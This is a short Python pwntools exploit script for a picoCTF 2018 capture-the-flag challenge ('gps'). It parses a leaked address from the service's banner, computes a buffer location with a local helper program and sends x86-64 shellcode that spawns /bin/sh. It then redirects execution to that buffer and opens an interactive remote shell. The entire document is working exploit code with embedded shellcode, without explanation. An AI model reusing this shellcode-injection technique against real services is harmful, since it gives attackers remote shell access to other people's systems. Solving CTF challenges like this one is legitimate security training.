#!/usr/bin/python
from pwn import *
import re

def get_buf_addr(seed) :
    emul = process("./rand")
    emul.sendline(str(seed))

    return emul.readline().replace("\n", "")

def exploit() :
    GPS_ACCURACY = 1337
    HOST = "2018shell2.picoctf.com" 
    PORT = 29035
    stack_loc = 0
    shell_code = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

    # conn = process("./gps")
    conn = remote(HOST, PORT)

    welcome = conn.readuntil("> ")
    print welcome
    known_position = int(re.findall("0x[0-9a-f]+", welcome)[0][2:], 16)

    buf_addr = get_buf_addr(known_position)
    print "buf address is : " + buf_addr

    conn.sendline(shell_code)

    print conn.readuntil("> ")
    conn.sendline("0x"+buf_addr)

    conn.interactive()

if __name__ == "__main__" :
    exploit()